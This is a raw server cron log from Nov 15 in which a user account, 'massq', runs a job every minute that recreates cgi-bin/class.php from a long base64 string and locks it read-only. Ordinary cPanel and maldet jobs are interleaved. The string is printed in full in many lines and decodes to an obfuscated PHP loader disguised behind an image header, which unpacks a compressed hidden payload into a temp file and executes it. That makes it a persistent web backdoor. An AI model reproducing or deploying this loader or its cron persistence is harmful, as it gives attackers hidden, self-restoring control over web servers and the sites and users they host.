Nov 15 00:18:01 server CROND[32116]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:19:01 server CROND[593]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:20:01 server CROND[1533]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 00:20:01 server CROND[1536]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:20:01 server CROND[1535]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 00:20:01 server CROND[1537]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 00:20:01 server CROND[1538]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 00:21:01 server CROND[2612]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:22:01 server CROND[3534]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:23:01 server CROND[4454]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:24:01 server CROND[5307]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:25:01 server CROND[6236]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 00:25:01 server CROND[6237]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 15 00:25:01 server CROND[6238]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:25:01 server CROND[6239]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 00:26:01 server CROND[7160]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:27:01 server CROND[8073]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 00:27:01 server CROND[8074]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:28:01 server CROND[9160]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:29:01 server CROND[10091]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:30:01 server CROND[11011]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 00:30:01 server CROND[11014]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 00:30:01 server CROND[11030]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 15 00:30:01 server CROND[11050]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:30:01 server CROND[11029]: (root) CMD (/usr/lib64/sa/sa1 1 1)
